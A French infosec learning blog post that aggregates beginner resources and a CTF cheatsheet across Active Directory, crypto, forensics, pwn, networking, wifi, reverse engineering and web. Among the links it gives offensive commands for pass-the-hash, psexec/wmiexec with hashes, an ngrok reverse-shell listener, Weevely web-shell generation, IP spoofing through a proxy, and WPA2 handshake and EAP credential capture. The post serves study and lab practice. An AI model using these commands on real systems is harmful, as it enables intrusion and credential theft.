Contents

Cheatsheet

Dépôt

Quelques catégories supplémentaires et notes actualisées

Intro

Ce post est un peu spécial. En effet je tenais à partager quelques ressources, qui m’ont permis de mettre un pied dans l’infosec en partant de zéro.

Est-ce légitime en 2023 de proposer cela?

Effectivement, il y a pléthore d’articles, de blogs, de livres ainsi que de communautés. Mais il est facile de se confronter à un mur et de se décourager pour diverses raisons.

Voici donc un agrégat de ressources, en français de préférence:

Vulgarisation

Des vidéos permettant de découvrir le sujet et de se donner un plan d’attaque.

Hackintux:

Hafnium:

Les bases

Juste quelques cours/playlists d’informatique générale pour donner une idée. Ok, sauf pour le web (OpenClassrooms peut suffire dans tous les cas)

  • Linux:
  • Programmation:
  • Réseau:
  • Web:

Quelques communautés:

Teach yourself infosec

A partir d’ici, la sécurité commence.

Quelques ressources très complètes ici, par thème. Pour chaque catégorie, des ressources et plateformes sont données pour s’entraîner.

Dans la même idée, en français:

De très bons livres (dont certains tirés d’OReilly), cours et articles (pas que sur la sécurité) existent aussi ici:

Ressources

On entre dans le vif du sujet. Maintenant, choisissez la catégorie qui vous plaît et n’hésitez pas à reprendre au point précédent.

Active Directory

Bases LDAP

https://www-sop.inria.fr/members/Laurent.Mirtain/ldap-livre.html

Documentation

mindmaphttps://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg

Kerberoast

SPN non vide

AsRepRoast

User sans PreAuth

Box Active (HTB)

Synchroniser l’horloge:

sudo ntpdate <ip>

  • crackmapexec:
    • check GPPPassword (share spidering: spider_plus): cme smb <Domain> -u <user> -p <pass> -M gpp_password
    • check SamAccountName: crackmapexec smb <ip> -M nopac & crackmapexec ldap -d <Domain> -u <user> -p <pass> -M Maq (max machines à créer)
    • Pass The Hash: crackmapexec <ip> -u Administrator -H <lmhash:nthash> -x 'whoami'

Silver/Golden Ticket

Shell

Domain.local/Administrator@127.0.0.1

psexec.py <Domain>/<user>:<pass>@<DC.local> wmiexec.py <Domain>/<user>@<DC.local> -hashes ':<nthash>'

FreeRDP2

(TryHackMe AD Basics)

1
xfreerdp /v:10.10.222.63 /u:THM\Mark /p:M4rk3t1ng.21

Crypto

Documentation

Cle publique

Blocs

Flux

Log Discret

ECC

Cheatsheet

Outils

https://www.login-securite.com/2021/10/29/sthackwriteup-forensic-docker-layer/

1
2
# AES-CBC
openssl aes-256-cbc -d -iter 10 -pass pass:$(cat /pass.txt) -in flag.enc -out flag.dec
1
2
3
4
bash
# Base64 & digest - JWT
echo <b64(header).b64(payload)> | openssl dgst -sha256 -mac HMAC -macopt:hexkey:$(cat key.pem | xxd -p | tr -d "\\n")
python -c 'import hmac, hashlib, base64; print(base64.urlsafe_b64encode(hmac.new(<key>, <token>, hashlib.sha256).digest()).replace("=", ""))'

Cours: Cryptohack Starters

Forensic

Analyse de logs

Exfiltration

Tools:

Une fois setup ci dessous effectué

https://volatility3.readthedocs.io/en/latest/getting-started-linux-tutorial.html#

Profils Linux (Vol3)

1
2
python ~/volatility3/vol.py -f memory.dmp banners.Banners
# Linux 5.x-y
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Version souhaitée de l'OS
FROM debian:bullseye

ARG KERNEL_VERSION=5.10.0-21
ARG KERNEL_ARCH=amd64

# Update et installation des dépendances nécessaires à Dwarf2json

# /!\
# Il faut charger l'image `-dbg` avec la version trouvée pour avoir le fichier DWARF

RUN apt update
RUN apt install -y \
  linux-image-${KERNEL_VERSION}-${KERNEL_ARCH}-dbg \
  linux-headers-${KERNEL_VERSION}-${KERNEL_ARCH} \
  build-essential golang-go git make

# Volatility3
# Récupération de Dwarf2json
RUN git clone https://github.com/volatilityfoundation/dwarf2json

WORKDIR dwarf2json

# On build puis on génère le fichier JSON depuis le fichier DWARF
RUN go mod download github.com/spf13/pflag
RUN go build
RUN ./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-${KERNEL_VERSION}-${KERNEL_ARCH} > linux-image-${KERNEL_VERSION}-${KERNEL_ARCH}.json

CMD ["sleep", "3600"]
1
2
3
4
5
6
docker build -t dwarf2json .

CONTAINER_ID=$(docker run -ti --rm -d dwarf2json)
docker cp $CONTAINER_ID:/dwarf2json/linux-image-5.10.0-21-amd64.json volatility3/volatility3/symbols

docker rm -f $CONTAINER_ID
1
python volatility3/vol.py -f memory.dmp linux.bash

Profils Android

https://github.com/504ensicsLabs/LiME

Pwn

Voir reverse pour les bases.

Documentation

ARM,MIPS,RISCV

Arguments et payload

https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection

Pile/Stack

https://thinkloveshare.com/hacking/pwn_1of4_buffer_overflow/

https://ir0nstone.gitbook.io/notes/types/stack

Protections

Format Strings

Tas/Heap

Kernel

Débuggers (pour binaires ELF (Linux), plus courants en pwn)

voir ../tutos (cours/prog C)

Plateformes

Reseau

Documentation

Tools

Curl

curl is a tool for transferring data from or to a server. It supports these protocols: DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET or TFTP. The command is designed to work without user interaction.

HTTP

Curl Options & POST

LDAP

Reverse/Web shell

Configurer son /etc/hosts

1
2
3
/etc/hosts
ip DOMAIN
ip DC

Revere shell - Ngrok

(Non nécessaire si l’attaquant et la cible sont sur le même réseau)

1
2
3
4
#term1
ngrok config add-authtoken TOKEN
ngrok tcp 4444
#Forwarding tcp://5.tcp.eu.ngrok.io:16833 -> localhost:4444
1
2
#term2
nc -nlvp 4444

Web shell - Weevely

1
2
weevely generate password shell.php5
weevely http://10.10.97.185/uploads/shell.php5 password

Reverse Proxy

Ip Spoofing

1
sudo apt install nginx
1
sudo vim etc/nginx/sites-available/default
1
2
3
4
5
6
7
8
9
server {
   ...
         # remplacer location /
	location / {
                proxy_pass http://vulnerable-site.org ; 
                proxy_set_header X-Forwarded-For $remote_addr ;
	}
   ...
}
1
2
sudo systemctl restart nginx
firefox $(ip a s eth0 | awk -F'[/ ]+' '/inet[^6]/{print $3}')/page #http://vulnerable-site.org/page

Wifi

Arp Spoofing

1
2
3
4
5
sudo ip l set wlanx down
sudo iw wlanx set monitor none
sudo ip l set wlanx up
sudo iw wlanx info
sudo wireshark&

WPA2 - PSK

1
2
3
4
sudo docker run -it --privileged --rm --net=host bettercap/bettercap -iface wlanx
#wifi.recon help

wpapcap2john bettercap-wifi-handshakes.pcap

WPA2 - EAP

1
2
sudo python3 ./eaphammer –cert-wizard
sudo python3 ./eaphammer -i wlan6 --creds -e "xxx" -b xx:xx:xx:xx:xx:xx #BSSID /MAC

Reverse

Introduction: Assembleur x86

Documentation

Quelques outils:

À posséder:

Windows

Reverse: décompilos:

Linux

Outils classiques:

  • objdump: -t : afficher la table des symboles -> si rien : voir ../../pwn/asm -h: afficher les sections

  • ltrace: voir les fonctions de la libc appelées

  • strace: voir les syscalls

  • ldd: voir les bibliothèques/libc utilisées (Hijacking, ret2libc

Débuggers:

1
2
3
alias pwndbg='gdb -x ~/pwndbg/gdbinit.py -q '
alias gef='gdb -x ~/.gdbinit-gef.py -q '
alias gdb-peda='gdb -x ~/peda/peda.py'

ARM

https://www.acmesystems.it/arm9_toolchain https://0x90909090.blogspot.com/2014/01/how-to-debug-arm-binary-under-x86-linux.html

Compiler :

1
arm-linux-gnueabihf-gcc -fno-pie -ggdb3 -no-pie -o hello_world hello_world.c

Exécuter :

1
qemu-arm -L /usr/arm-linux-gnueabihf -g 1234 ./hello_world

Reverser :

1
2
3
4
5
6
7
8
gdb-multiarch -q --nh \
  -ex 'set architecture arm' \
  -ex 'set sysroot /usr/arm-linux-gnueabihf' \
  -ex 'file hello_world' \
  -ex 'target remote localhost:1234' \
  -ex 'break main' \
  -ex continue \
  -ex 'layout split'

MIPS

https://pr0cf5.github.io/ctf/2019/07/16/mips-userspace-debugging.html

RiscV

https://danielmangum.com/posts/risc-v-bytes-qemu-gdb/#installing-tools

Bytecode / Outils spécifiques

Web

Documentation

GraphQL

SQLi

PHP

SSRF

XXE


CSRF

XSS


Extensions

Tools

Web3

Documentation

Pour aller plus loin

Ressources générales

Chaines

13Cubed

John Hammond

IppSec

LiveOverflow

Xct

CTF 24h/24, 7j/7

Notes utiles en CTF voire +